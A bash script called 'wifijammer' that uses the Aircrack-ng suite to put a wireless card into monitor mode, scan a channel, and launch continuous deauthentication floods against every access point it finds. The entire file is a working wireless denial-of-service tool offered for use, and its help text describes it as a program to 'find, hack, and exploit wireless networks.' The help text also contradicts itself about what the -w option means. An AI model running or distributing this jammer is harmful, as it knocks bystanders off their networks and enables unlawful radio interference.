#!/bin/bash SCAN=0 VERSION=0.1 while getopts "w:c:shv" OPTION; do case "$OPTION" in # This argument sets the amount of time to wait collecting airodump data w) WIFIVAR=$OPTARG ;; c) NUMBER=$OPTARG ;; s) SCAN=1 ;; h) echo -e "wifijammer, version $VERSION Usage: $0 [-s] -w [wifi card] -c [channel] This is a bash based wifi jammer. It uses your wifi card to continuously send de-authenticate packets to every client on a specified channel... at lest thats what its suppose to do. This program needs the Aircrack-ng suit to function and a wifi card that works with aircrack. Options: Required: -w time to wait in minutes during airodump -c channel to scan Optional: -s scan for wireless networks first -h display help message -v display version Example: $0 -w wlan0 -c 2 Report bugs to http://code.google.com/p/wifijammer/ -> issues section Written by esmith2000@gmail.com" exit 1 ;; v) echo "$0, version $VERSION" ;; esac done if [[ $# -lt 1 ]]; then echo -e "wifijammer, $VERSION Usage: $0 [-s] -w [wifi card] -c [channel] Program to find, hack, and exploit wireless networks. Options: Required: -w time to wait in minutes during airodump -c channel to scan Optional: -s scan for wireless networks first -h display help message -v display version Example: $0 -w wlan0 -c 2 Report bugs to http://code.google.com/p/wifijammer/ -> issues section Written by esmith2000@gmail.com and developers at http://code.google.com/p/wifijammer/" exit 1 fi if [[ $WIFIVAR == "" ]]; then echo "You must specify the -w option!" exit 1 fi if [[ $NUMBER == "" ]] && [[ $SCAN -eq 0 ]]; then echo "You must specify a channel with the -c option!" exit 1 fi if [[ $SCAN -ne 0 ]] && [[ $NUMBER -ne 0 ]]; then echo "You may only specify either -s or -c, not both! Exiting..." exit 1 fi if [ x"`which id 2> /dev/null`" != "x" ]; then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ]; then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ]; then #Guess not echo Run it as root ; exit ; fi # Changes working directory to the same as this file DIR="$( cd "$( dirname "$0" )" && pwd )" cd $DIR #Checks if user specified a WIFI card if [ x"$WIFIVAR" = x"" ]; then echo "No wifi card specified, scanning for available cards (doesnt always work)" USWC="no" else echo "Using user specified wifi card ""$WIFIVAR" USWC="yes" fi if [ x"$USWC" = x"no" ]; then # Uses Airmon-ng to scan for available wifi cards. airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01 count=0 if [ -e "clist" ]; then rm clist fi cat clist01 |while read LINE ; do if [ $count -gt 3 ];then echo "$LINE" | cut -b 1-7 | tr -d [:space:] >>clist count=$((count+1)) else count=$((count+1)) fi done rm clist01 WIFI=`cat clist` echo "Using first available Wifi card: `airmon-ng|grep "$WIFI"`" echo "If you would like to specify your own card please do so at the command line" echo "etc: sudo ./wifijammer_0.1 eth0" rm clist else WIFI="$WIFIVAR" fi #Check for a wifi card if [ x"$WIFI" = x"" ]; then #Guess no wifi card was detected echo "No wifi card detected. Quitting" exit fi #Start the wireless interface in monitor mode if [ x"$airmoncard" != x"1" ]; then airmon-ng start $WIFI >tempairmonoutput airmoncard="1" fi #Looks for wifi card thats been set in Monitor mode if [ x"$testcommandvar02" = x"" ]; then WIFI02=`cat tempairmonoutput | grep "monitor mode enabled on" | cut -b 30-40 | tr -d [:space:] |tr -d ")"` if [ x$WIFI02 = x ]; then WIFI02=`cat tempairmonoutput | grep "monitor mode enabled" | cut -b 1-5 | tr -d [:space:]` fi WIFI="$WIFI02" rm tempairmonoutput fi echo "$WIFI" # Asks user to specify a channel to jam, or to see a 40 second scan of the area #read -p "Please specify a channel to jam, or type in 'scan' (without quotes) to see airodump's output for 40 seconds:" NUMBER if [[ $SCAN -eq 1 ]]; then # scan was entered, so start airodump-ng in channel hopping mode to scan the area airodump-ng $WIFI & SCANPID=$! sleep 40s kill $SCANPID sleep 1s #Asks user to specify a channel read -p "Please specify a channel to jam:" NUMBER CHANNEL="$NUMBER" fi # Launches airodump-ng on specified channel to start gathering a client list rm *.csv echo "Scanning specified channel" airodump-ng -c $NUMBER -w airodumpoutput $WIFI &> /dev/tty2 & # Removes temp files that are no longer needed rm *.cap 2>/dev/null rm *.kismet.csv 2>/dev/null rm *.netxml 2>/dev/null # Makes a folder that will be needed later mkdir stationlist 2>/dev/null rm stationlist/*.txt # Start a loop so new clients can be added to the jamming list while [ x1 ]; do sleep 5s # Takes appart the list of clients and reorganizes it in to something useful cat airodumpoutput*.csv|while read LINE01 ; do echo "$LINE01" > tempLINE01 LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]` rm tempLINE01 # Ignores any blank if [ x"$LINE" != x"" ];then if [ x"$LINE" = x"StationMAC" ];then start="no" fi if [ x"$start" = x"yes" ];then if [ -e stationlist/"$LINE".txt ];then echo "" 2>/dev/null else # Lauches new window with de-authenticate thingy doing it's thing echo "Jamming $LINE" aireplay-ng --deauth 0 -a $LINE $WIFI &> /dev/tty2 & echo "$LINE" > stationlist/$LINE.txt fi fi if [ x"$LINE" = x"BSSID" ];then start="yes" fi fi done done